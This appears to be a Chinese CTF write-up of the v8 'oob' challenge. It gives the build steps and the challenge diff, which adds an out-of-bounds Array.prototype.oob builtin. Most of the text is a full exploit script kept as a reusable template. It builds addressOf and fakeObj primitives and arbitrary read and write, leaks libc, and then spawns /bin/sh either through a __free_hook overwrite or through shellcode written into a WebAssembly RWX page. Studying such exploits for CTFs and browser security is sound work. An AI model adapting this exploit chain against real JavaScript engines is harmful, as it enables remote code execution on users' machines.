文章目录
- 前言
- 参考
- 题目环境配置
- 漏洞分析
前言
一道入门级别的 v8
题目,不涉及太多的 v8
知识,很适合入门,对于这个题目,网上已经有很多分析文章,笔者不再为大家制造垃圾,仅仅记录一个模板,方便以后使用
参考
从一道CTF题零基础学V8漏洞利用
题目环境配置
关于 v8
的环境配置见笔者之前的文章,这里题目给了 diff
文件。我们需要回滚代码到指定版本,然后将 diff
给 apply
进去,最后就是正常的编译流程:
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply oob.diff
gclient sync -D # 别忘了 gclient sync 同步一下
漏洞分析
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
可以看到,这里将元素当作 Double 类型的数组
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
然后作者给了一些注释,连猜带懵可以知道这里存在数组越界,具体将上面给出的参考文章。
贴个 exp
:
let debug = (o) => {
%DebugPrint(o);
%SystemBreak();
}
let hexx = (str, num) => {
print("\033[32m"+str+":\033[0m 0x"+num.toString(16));
}
var raw_buf = new ArrayBuffer(8);
var d = new Float64Array(raw_buf);
var l = new BigUint64Array(raw_buf);
function d2l(num)
{
d[0] = num;
return l[0];
}
function l2d(num)
{
l[0] = num;
return d[0];
}
var tmp = [1, 2];
var float_arr = [1.1, 1.2]
var obj_arr = [tmp, float_arr]
var float_map = d2l(float_arr.oob());
var obj_map = d2l(obj_arr.oob());
hexx("float_map", float_map);
hexx("obj_map", obj_map);
function addressOf(obj)
{
obj_arr[0] = obj;
obj_arr.oob(l2d(float_map));
let obj_addr = d2l(obj_arr[0]) - 1n;
obj_arr.oob(l2d(obj_map));
return obj_addr;
}
function fakeObj(addr)
{
float_arr[0] = l2d(addr+1n);
float_arr.oob(l2d(obj_map));
let fake_obj = float_arr[0];
float_arr.oob(l2d(float_map));
return fake_obj;
}
var fake_obj_arr = [l2d(float_map), 0, 52.1, l2d(0x200000000n)];
var fake_obj_arr_addr = addressOf(fake_obj_arr);
var fake_obj_addr = fake_obj_arr_addr - 0x20n;
hexx("fake_obj_arr_addr", fake_obj_arr_addr);
hexx("fake_obj_addr", fake_obj_addr);
var fake_obj = fakeObj(fake_obj_addr);
function arb_read(addr)
{
fake_obj_arr[2] = l2d(addr+1n-0x10n);
return d2l(fake_obj[0]) - 1n;
}
function arb_write_fake(addr, value)
{
fake_obj_arr[2] = l2d(addr+1n-0x10n);
fake_obj[0] = l2d(value);
}
var tmp_buf = new ArrayBuffer(0x20);
var arb_write_buf = new DataView(tmp_buf);
var arb_write_buf_addr = addressOf(arb_write_buf);
var arb_write_buf_buf_addr = arb_read(arb_write_buf_addr+0x18n);
var backing_store_addr = arb_write_buf_buf_addr+0x20n;
var backing_store = arb_read(arb_write_buf_buf_addr+0x20n);
hexx("arb_write_buf_addr", arb_write_buf_addr);
hexx("arb_write_buf_buf_addr", arb_write_buf_buf_addr);
hexx("backing_store_addr", backing_store_addr);
hexx("backing_store", backing_store);
let exp_hook = () => {
function get_shell(){
var shell_str = new String("/bin/sh\0");
}
var tmp_addr = addressOf(tmp);
var tmp_map = arb_read(tmp_addr);
var tmp_construct_addr = arb_read(tmp_map+0x20n);
var tmp_code_addr = arb_read(tmp_construct_addr+0x30n);
var text_addr = arb_read(tmp_code_addr+0x2n+0x40n) + 1n;
var text_base = text_addr - 0x94f780n;
var malloc_got = text_base + 0x12AA9E0n - 0x679000n;
var libc_base = arb_read(malloc_got) + 1n - 0x780e0n;
var system = libc_base + 0x30290n;
var free_hook = libc_base + 0x1cce48n;
hexx("tmp_addr", tmp_addr);
hexx("tmp_map", tmp_map);
hexx("tmp_construct_addr", tmp_construct_addr);
hexx("tmp_code_addr", tmp_code_addr);
hexx("text_addr", text_addr);
hexx("text_base", text_base);
hexx("malloc_got", malloc_got);
hexx("libc_base", libc_base);
hexx("system_addr", system);
hexx("free_hook", free_hook);
arb_write_fake(backing_store_addr, free_hook);
arb_write_buf.setFloat64(0, l2d(system), true);
//arb_write_fake(backing_store_addr, backing_store);
//arb_write_buf.setFloat64(0, l2d(0x68732f6e69622fn), true);
get_shell();
}
let exp_wasm = () => {
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var func = wasm_instance.exports.main;
var wasm_instance_addr = addressOf(wasm_instance);
var func_addr = addressOf(func);
var rwx_addr = arb_read(wasm_instance_addr+0x88n) + 1n;
hexx("func_addr", func_addr);
hexx("wasm_instance_addr", wasm_instance_addr);
hexx("rwx_addr", rwx_addr);
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
arb_write_fake(backing_store_addr, rwx_addr);
for (let i = 0; i < shellcode.length; i++)
{
arb_write_buf.setFloat64(i*8, l2d(shellcode[i]), true);
}
func();
}
exp_hook();
//exp_wasm();
//debug(tmp);
效果如下:
劫持 wasm
写 shellcode
:
劫持 free_hook
: